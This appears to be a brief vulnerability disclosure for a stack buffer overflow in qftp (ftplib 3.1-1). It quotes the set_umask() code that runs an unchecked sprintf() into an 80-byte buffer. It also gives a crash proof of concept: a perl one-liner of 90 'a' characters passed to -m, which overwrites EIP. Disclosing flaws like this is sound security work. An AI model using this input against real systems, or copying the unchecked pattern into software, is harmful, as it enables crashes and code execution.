QFTP (LIBFtp 3.1-1) (command line) sprintf() local buffer overflow

["starcadi starcadi" <starcadi@xxxxxxxxx>]

http://nbpfaus.net/~pfau/ftplib/

qftp is a utility that performs file transfers using ftplib based on
instructions presented on the command line.

> > Description

buffer overflow in sprintf(), set_umask don't check sizelen of passed argument.

> > Source error

in main():
337: 	  case 'm' : set_umask(optarg); break;
..
void set_umask(char *m)
{
   char buf[80];
   sprintf(buf,"umask %s", m);
   ftp_connect();
   FtpSite(buf, conn);
}

> > POC

$ gcc ftplib.c getopt.c qftp.c -o ftpsend
$ ftpsend localhost -l login -p passwd -m `perl -e "print 'a'x90"`
Segmentation fault

# eip addr: $1 = (void *) 0x61616161

--
~ starcadi